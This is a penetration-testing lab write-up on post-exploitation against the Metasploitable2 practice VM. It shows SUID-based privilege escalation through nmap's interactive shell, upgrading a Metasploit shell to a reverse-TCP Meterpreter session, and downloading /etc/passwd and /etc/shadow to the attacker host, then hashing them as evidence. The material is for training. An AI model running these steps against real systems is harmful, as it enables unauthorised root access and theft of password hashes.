Post-Exploitation Lab

Author: Harshal Harekar
Date: 14/10/2025

Objective

This lab simulates what you do after gaining initial access.

This is continuation of Advanced Exploitation Lab. Hence, not demonstrating access gain steps.

Steps

Step 1: Privilege Escalation
1. Using the shell you got in Lab 1 (or a new Meterpreter session), search for local privilege escalation exploits
Note: Metasploitable2 often gives you root directly (especially via UnrealIRCd or vsftpd exploits).
2. Look for SUID binaries
find / -perm -4000 -type f 2>/dev/null

Try exploiting nmap –interactive and then enter !sh
Now check privileges using whoami and id.

```
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

Evidence Collection

1. uname -a

```
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

2. cat /etc/passwd

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
```

3. ps aux

```
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3   2844  1692 ?        Ss   03:08   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S<   03:08   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S<   03:08   0:00 [migration/0]
root         4  0.0  0.0      0     0 ?        S<   03:08   0:00 [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S<   03:08   0:00 [watchdog/0]
root         6  0.0  0.0      0     0 ?        S<   03:08   0:00 [events/0]
root         7  0.0  0.0      0     0 ?        S<   03:08   0:00 [khelper]
root        41  0.0  0.0      0     0 ?        S<   03:08   0:00 [kblockd/0]
root        44  0.0  0.0      0     0 ?        S<   03:08   0:00 [kacpid]
root        45  0.0  0.0      0     0 ?        S<   03:08   0:00 [kacpi_notify]
root       174  0.0  0.0      0     0 ?        S<   03:08   0:00 [kseriod]
root       213  0.0  0.0      0     0 ?        S    03:08   0:00 [pdflush]
root       214  0.0  0.0      0     0 ?        S    03:08   0:00 [pdflush]
root       215  0.0  0.0      0     0 ?        S<   03:08   0:00 [kswapd0]
root       257  0.0  0.0      0     0 ?        S<   03:08   0:00 [aio/0]
root      1281  0.0  0.0      0     0 ?        S<   03:08   0:00 [ksnapd]
root      1504  0.0  0.0      0     0 ?        S<   03:08   0:00 [ata/0]
root      1507  0.0  0.0      0     0 ?        S<   03:08   0:00 [ata_aux]
root      1516  0.0  0.0      0     0 ?        S<   03:08   0:00 [scsi_eh_0]
root      1517  0.0  0.0      0     0 ?        S<   03:08   0:00 [scsi_eh_1]
root      1544  0.0  0.0      0     0 ?        S<   03:08   0:00 [ksuspend_usbd]
root      1546  0.0  0.0      0     0 ?        S<   03:08   0:00 [khubd]
root      2427  0.0  0.0      0     0 ?        S<   03:09   0:00 [scsi_eh_2]
root      2667  0.0  0.0      0     0 ?        S<   03:09   0:00 [kjournald]
root      2821  0.0  0.1   2092   640 ?        S<s  03:09   0:00 /sbin/udevd --daemon
root      3228  0.0  0.0      0     0 ?        S<   03:09   0:00 [kpsmoused]
root      4136  0.0  0.0      0     0 ?        S<   03:09   0:00 [kjournald]
daemon    4266  0.0  0.1   1836   588 ?        Ss   03:09   0:00 /sbin/portmap
statd     4282  0.0  0.1   1900   724 ?        Ss   03:09   0:00 /sbin/rpc.statd
root      4288  0.0  0.0      0     0 ?        S<   03:09   0:00 [rpciod/0]
root      4303  0.0  0.1   3648   560 ?        Ss   03:09   0:00 /usr/sbin/rpc.idmapd
root      4529  0.0  0.0   1716   492 tty4     Ss+  03:09   0:00 /sbin/getty 38400 tty4
root      4530  0.0  0.0   1716   492 tty5     Ss+  03:09   0:00 /sbin/getty 38400 tty5
root      4536  0.0  0.0   1716   488 tty2     Ss+  03:09   0:00 /sbin/getty 38400 tty2
```

4.netstat -antup

```
netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:512             0.0.0.0:*               LISTEN      5099/xinetd
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN      5099/xinetd
tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN      5099/xinetd
tcp        0      0 0.0.0.0:8009            0.0.0.0:*               LISTEN      5194/jsvc
tcp        0      0 0.0.0.0:6697            0.0.0.0:*               LISTEN      5235/unrealircd
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      4833/mysqld
tcp        0      0 0.0.0.0:1099            0.0.0.0:*               LISTEN      5231/rmiregistry
tcp        0      0 0.0.0.0:6667            0.0.0.0:*               LISTEN      5235/unrealircd
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      5083/smbd
tcp        0      0 0.0.0.0:5900            0.0.0.0:*               LISTEN      5253/Xtightvnc
tcp        0      0 0.0.0.0:41709           0.0.0.0:*               LISTEN      5231/rmiregistry
tcp        0      0 0.0.0.0:42317           0.0.0.0:*               LISTEN      4282/rpc.statd
tcp        0      0 0.0.0.0:47567           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      4266/portmap
tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      5253/Xtightvnc
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      5212/apache2
tcp        0      0 0.0.0.0:8787            0.0.0.0:*               LISTEN      5237/ruby
tcp        0      0 0.0.0.0:8180            0.0.0.0:*               LISTEN      5194/jsvc
tcp        0      0 0.0.0.0:1524            0.0.0.0:*               LISTEN      5099/xinetd
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      5099/xinetd
tcp        0      0 192.168.18.138:53       0.0.0.0:*               LISTEN      4647/named
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      4647/named
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      5099/xinetd
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      4912/postgres
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      5074/master
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      4647/named
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      5083/smbd
tcp        0      0 0.0.0.0:42111           0.0.0.0:*               LISTEN      5008/rpc.mountd
tcp        0      0 192.168.18.138:44685    192.168.18.133:4518     ESTABLISHED 8537/telnet
tcp        0      0 192.168.18.138:1099     192.168.18.133:40954    CLOSE_WAIT  5231/rmiregistry
tcp        0      0 192.168.18.138:44686    192.168.18.133:4518     ESTABLISHED 8541/telnet
tcp6       0      0 :::2121                 :::*                    LISTEN      5138/proftpd: (acce
tcp6       0      0 :::3632                 :::*                    LISTEN      4945/distccd
```

5. Files downloading

Upgrading from shell to meterpreter

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > session -u 1
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.18.133:4433
[*] Sending stage (1017704 bytes) to 192.168.18.138
[*] Meterpreter session 2 opened (192.168.18.133:4433 -> 192.168.18.138:50508) at 2025-10-14 17:50:38 +0530
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type                  Information                      Connection
  --  ----  ----                  -----------                      ----------
  1         shell cmd/unix                                         192.168.18.133:4518 -> 192.168.18.138:44685 (192.168.18.138)
  2         meterpreter x86/linux  root @ metasploitable.localdomain  192.168.18.133:4433 -> 192.168.18.138:50508 (192.168.18.138)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > pwd
/etc
meterpreter > download /etc/passwd /home/aazukaazu/Downloads
[*] Downloading: /etc/passwd -> /home/aazukaazu/Downloads/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> /home/aazukaazu/Downloads/passwd
[*] Completed  : /etc/passwd -> /home/aazukaazu/Downloads/passwd
meterpreter >
```

```
meterpreter > pwd
/etc
meterpreter > download /etc/passwd /home/aazukaazu/Downloads
[*] Downloading: /etc/passwd -> /home/aazukaazu/Downloads/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> /home/aazukaazu/Downloads/passwd
[*] Completed  : /etc/passwd -> /home/aazukaazu/Downloads/passwd
meterpreter > download /etc/shadow /home/aazukaazu/Downloads
[*] Downloading: /etc/shadow -> /home/aazukaazu/Downloads/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow -> /home/aazukaazu/Downloads/shadow
[*] Completed  : /etc/shadow -> /home/aazukaazu/Downloads/shadow
meterpreter >
```

Hashing Files

```
┌──(aazukaazu㉿kali)-[~/Downloads]
└─$ sha256sum passwd
af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c7c733d42  passwd

┌──(aazukaazu㉿kali)-[~/Downloads]
└─$ sha256sum shadow
7f9f08e29620f196a409890a742738c61644f67a1f8e879db8317b674b16c762  shadow

┌──(aazukaazu㉿kali)-[~/Downloads]
└─$
```

Item	Description	Collected By	Date	Hash Value
passwd file	user account information	VAPT Analyst	14-10-2025	af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c7c733d42
shadow file	hashed passwords for user accounts	VAPT Analyst	14-10-2025	7f9f08e29620f196a409890a742738c61644f67a1f8e879db8317b674b16c762

Summary

Post-exploitation evidence was collected from the compromised Metasploitable2 system using shell and Meterpreter sessions. Key artifacts included and, which contain user account details and password hashes. These files were downloaded, hashed using SHA-256, and logged to maintain integrity and chain-of-custody for forensic analysis and reporting purposes.